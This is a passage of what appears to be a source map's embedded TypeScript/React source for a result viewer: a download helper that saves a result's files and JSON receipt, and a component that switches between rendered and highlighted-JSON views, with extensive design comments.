own. */\n baseName: string;\n resolveUrl?: ResolveForDownload;\n}): Promise<void> {\n const files = collectStuffFiles(field, value);\n\n // A stuff that is nothing BUT one file: save the file, and no JSON. Read from\n // the collector rather than from `field.kind`, because the case that matters\n // most does not announce itself there — a `native.Html` node's kind is\n // `object`, and the whole stuff is still the page.\n const isBareFile = files.length === 1 && files[0]?.path === field.name;\n // Whether anything was actually handed over. The bare-file rule below turns on\n // it, because \"the file IS the whole download\" only justifies dropping the\n // receipt when the file was in fact delivered.\n let deliveredAFile = false;\n\n for (const file of files) {\n const name = fileNameFor(file, baseName);\n\n // Inline content: nothing to fetch, so nothing that can fail.\n if (file.text !== undefined) {\n saveBlob(new Blob([file.text], { type: mimeForExtension(file.extension) }), name);\n deliveredAFile = true;\n continue;\n }\n\n // Judged by the same gate the result view paints through, and for the same\n // reason: this path both FETCHES a URL and, when the fetch fails, hands it\n // to `window.open` - which is a navigation, and the one sink that would\n // have run a `javascript:` reference. It used to consult no gate at all.\n // What the gate returns is what is used, never the raw member.\n const href =\n viewableUrl(resolveUrl?.(file.url ?? '')) ??\n viewableUrl(file.publicUrl) ??\n viewableUrl(file.url);\n // A file whose reference nothing accepts is skipped rather than guessed at.\n // The JSON receipt below carries it either way, so the reader keeps the\n // reference even when they cannot be handed the bytes.\n if (!href) continue;\n try {\n const response = await fetch(href);\n if (!response.ok) throw new Error(String(response.status));\n saveBlob(await response.blob(), name);\n } catch {\n // Unreadable cross-origin, an expired link, an offline tab: open it so the\n // reader still gets the file. Swallowing the reason is deliberate — there\n // is one recovery and it does not depend on which of them happened.\n window.open(href, '_blank', 'noopener');\n }\n deliveredAFile = true;\n }\n\n // The receipt is dropped only when the one file this stuff amounts to actually\n // went out. A bare file whose reference the gate refuses used to fall through\n // both halves of this - `continue` above, then this early return - and the\n // download produced nothing at all: no bytes, no receipt, no error, and a\n // promise that resolved clean.\n if (isBareFile && deliveredAFile) return;\n saveBlob(\n new Blob([JSON.stringify(value, null, 2)], { type: 'application/json;charset=utf-8' }),\n `${baseName}.json`,\n );\n}\n","'use client';\n\nimport type * as React from 'react';\nimport { useCallback, useEffect, useState } from 'react';\nimport { Check, Copy, Download, Loader2 } from 'lucide-react';\nimport type { RunField } from '../core';\nimport { Absent, ResultField, ResultHeader, stringifyValue } from './result-field';\nimport { useFieldStrings } from './field-strings';\nimport { downloadStuff } from './download-stuff';\nimport { useResolveUrl } from './result-env';\nimport { cn } from './utils';\n\n/**\n * A pipe's result, with the two views a result actually needs.\n *\n * ## Two, and why not three\n *\n * **Rendered** is the answer for a person: the descriptor-driven view, which\n * knows a field is an enum, that a date arrived in the serializer's typed\n * envelope, that fifteen records are a table. **JSON** is the answer for whoever\n * is debugging the pipe: what exactly came back, verbatim, copyable. Those are\n * different jobs and neither substitutes for the other.\n *\n * They are deliberately NOT peers, and the toggle should not read as a menu of\n * equal options. One is the result; the other is the receipt. Rendered opens\n * first, always.\n *\n * A third view is the one to resist. An engine-rendered HTML or plain-text\n * presentation — the shape the runtime's own viewer offers — is a second human\n * rendering of the same payload, produced by another codebase, carrying no\n * descriptor (so it cannot know a kind, a plurality or a nesting) and unable to\n * match a host's design system. It is a renderer that cannot be improved without\n * shipping the engine. If a plain-text form is wanted, it is a COPY FORMAT and\n * belongs behind a copy control, not beside the view that reads the standard.\n */\n\nexport type StuffViewerView = 'rendered' | 'json';\n\nexport interface StuffViewerProps {\n field: RunField;\n value: unknown;\n /**\n * The STUFF's name, for the header — `report_pages`, not `output`.\n *\n * A result descriptor's root node is named by the engine that built it, and\n * `build_output_form` calls it `output` for every pipe there has ever been.\n * That is correct in the artifact: the descriptor describes a pipe's output\n * slot, which has no name of its own. It is wrong on screen, where the reader\n * is looking at ONE data item and every other surface — the graph node they\n * clicked, the input panel beside it, the method's own code — calls that item\n * by the name the author gave it.\n *\n * So the name comes from the caller, because only the caller knows it: the\n * graph knows which node was opened, a run page knows which variable it is\n * showing. Absent, the descriptor's own name stands, which keeps a host that\n * has nothing better to say honest rather than blank.\n *\n * It also supplies `downloadBaseName`'s default, so the file a reader saves\n * is named after the thing they were reading rather than `output.json`.\n */\n name?: string;\n /** Which view opens first. Rendered, unless a host has a reason. */\n defaultView?: StuffViewerView;\n /**\n * Names the saved files: `<baseName>.json`, and any file inside the stuff\n * that carries no name of its own. Defaults to the field's name, which is\n * what the header shows.\n */\n downloadBaseName?: string;\n /**\n * Hide the download control. For a host that saves results its own way, or a\n * surface where saving makes no sense — a preview inside an editor, say.\n */\n hideDownload?: boolean;\n className?: string;\n}\n\n/**\n * JSON, with the structure receding and the data forward.\n *\n * A flat `<pre>` is the right shape for a receipt and stays one — what it was\n * missing is contrast. Keys, braces and commas are scaffolding a reader skips;\n * values are what they came for, and undifferentiated monospace makes finding\n * one a character-by-character scan.\n *\n * Two decisions worth stating. **Weight and the muted token, never a palette**:\n * the host owns its colours and a hand-picked green for strings is a colour that\n * fails somebody's theme, so structure is `muted-foreground` and data is\n * `foreground`. And **no collapsible tree**: that would be a second structured\n * browser competing with the Result view, which already reads the descriptor and\n * does structure properly. Two views, not three — the same argument, one level\n * down.\n */\nconst JSON_TOKEN_RE =\n /(\"(?:\\\\.|[^\"\\\\])*\"\\s*:)|(\"(?:\\\\.|[^\"\\\\])*\")|(\\b(?:true|false|null)\\b|-?\\d+(?:\\.\\d+)?(?:[eE][+-]?\\d+)?)/g;\n\nfunction highlight(json: string) {\n const out: React.ReactNode[] = [];\n let last = 0;\n for (const match of json.matchAll(JSON_TOKEN_RE)) {\n const [token, key, str, literal] = match;\n const at = match.index;\n if (at > last) {\n // Braces, brackets, commas and whitespace - the scaffolding.\n out.push(\n <span key={`p${last}`} className=\"text-muted-foreground\">\n {json.slice(last, at)}\n </span>,\n );\n }\n out.push(\n <span\n key={at}\n className={\n key ? 'text-muted-foreground' : str ? 'text-foreground' : 'font-semibold text-foreground'\n }\n >\n {token}\n </span>,\n );\n last = at + token.length;\n void literal;\n }\n if (last < json.length) {\n out.push(\n <span key=\"tail\" className=\"text-muted-foreground\">\n {json.slice(last)}\n </span>,\n );\n }\n return out;\n}\n\n/**\n * The payload as JSON — the receipt, with the whole of it one click from the\n * clipboard.\n *\n * Exported because it is also the honest FLOOR: a host that holds a value but\n * not the artifacts describing it (an older engine, a spec restored without its\n * validate report) should show the value and say why it is not laid out, rather\n * than show nothing. That is a different thing from what `StuffViewer`'s JSON\n * tab was — one labelled fallback, not one of three guesses offered as a\n * choice.\n */\nexport function JsonView({ value }: { value: unknown }) {\n const s = useFieldStrings();\n const [copied, setCopied] = useState(false);\n // The check mark reverts after a moment. The timer belongs to the effect, so\n // it is cleared when the control unmounts rather than firing into a\n // component, or a document, that is gone.\n useEffect(() => {\n if (!copied) return;\n const timer = window.setTimeout(() => setCopied(false), 1500);\n return () => window.clearTimeout(timer);\n }, [copied]);\n // `stringifyValue` handles the shapes `JSON.stringify` refuses (a BigInt, a\n // circular reference) rather than throwing inside a view whose whole purpose\n // is to show what is there.\n const text =\n value === null || value === undefined\n ? undefined\n : typeof value === 'object'\n ? stringifyValue(value)\n : JSON.stringify(value);\n\n if (text === undefined) {\n return <Absent />;\n }\n return (\n <div className=\"relative\">\n {typeof navigator !== 'undefined' && navigator.clipboard && (\n <button\n type=\"button\"\n onClick={() => {\n void navigator.clipboard.writeText(text).then(() => setCopied(true));\n }}\n aria-label={s.copyJson}\n className=\"absolute right-2 top-2 rounded border border-border bg-card p-1 text-muted-foreground hover:text-foreground focus-visible:outline-solid focus-visible:outline-2 focus-visible:outline-offset-1\"\n >\n {copied ? (\n <Check aria-hidden className=\"size-3.5\" />\n ) : (\n <Copy aria-hidden className=\"size-3.5\" />\n )}\n </button>\n )}\n <pre className=\"overflow-x-auto rounded-lg border border-border bg-card/40 px-3.5 py-3 pr-12 font-mono text-[12px] leading-relaxed\">\n {highlight(text)}\n </pre>\n </div>\n );\n}\n\nexport function StuffViewer({\n field,\n value,\n name,\n defaultView = 'rendered',\n downloadBaseName,\n hideDownload = false,\n className,\n}: StuffViewerProps) {\n const s = useFieldStrings();\n // The caller's name wins over the descriptor's, and it is applied to the\n // FIELD rather than passed to the header alone: the download's default base\n // name reads the same property, and the two naming the item differently is\n // exactly the drift this component exists to prevent.\n const named = name ? { ...field, name } : field;\n const [view, setView] = useState<StuffViewerView>(defaultView);\n const [saving, setSaving] = useState(false);\n // The same resolver the rendered view paints images through, so a download\n // fetches exactly what the reader is looking at — a host that proxies its\n // storage does not need to configure the two separately.\n const resolveUrl = useResolveUrl();\n\n const handleDownload = useCallback(async () => {\n setSaving(true);\n try {\n await downloadStuff({\n field,\n value,\n baseName: downloadBaseName ?? named.name ?? 'result',\n resolveUrl,\n });\n } finally {\n setSaving(false);\n }\n }, [field, named.name, value, downloadBaseName, resolveUrl]);\n const views: { id: StuffViewerView; label: string }[] = [\n { id: 'rendered', label: s.viewRendered },\n { id: 'json', label: s.viewJson },\n ];\n\n return (\n <div className={cn('space-y-2', className)}>\n {/* The header is drawn once, here, and `ResultField` is told to skip its\n own - two headers that agree today drift tomorrow. It stays put across\n both views, so switching does not move the thing you are reading. */}\n <div className=\"flex flex-wrap items-start justify-between gap-x-4 gap-y-1\">\n <div className=\"min-w-0 space-y-1\">\n <ResultHeader field={named} />\n </div>\n <div className=\"flex shrink-0 items-center gap-2\">\n {!hideDownload && (\n <button\n type=\"button\"\n onClick={() => void handleDownload()}\n disabled={saving}\n aria-label={s.download}\n className=\"inline-flex items-center gap-1.5 rounded-md border border-border px-2 py-1 text-[12px] text-muted-foreground hover:text-foreground focus-visible:outline-solid focus-visible:outline-2 focus-visible:outline-offset-1 disabled:opacity-60\"\n >\n {saving ? (\n <Loader2 className=\"h-3.5 w-3.5 animate-spin\" />\n ) : (\n <Download className=\"h-3.5 w-3.5\" />\n )}\n {saving ? s.downloading : s.download}\n </button>\n )}\n <div\n role=\"group\"\n aria-label={s.resultViewGroup}\n className=\"flex rounded-md border border-border p-0.5\"\n >\n {views.map(({ id, label }) => (\n <button\n key={id}\n type=\"button\"\n onClick={() => setView(id)}\n aria-pressed={view === id}\n className={cn(\n 'rounded px-2 py-0.5 text-[12px] focus-visible:outline-solid focus-visible:outline-2 focus-visible:outline-offset-1',\n view === id\n ? 'bg-card font-medium text-foreground'\n : 'text-muted-foreground hover:text-foreground',\n )}\n >\n {label}\n </button>\n ))}\n </div>\n </div>\n </div>\n\n {view === 'json' ? (\n <JsonView value={value} />\n ) : (\n <ResultField field={field} value={value} hideLabel />\n )}\n </div>\n );\n}\n"]}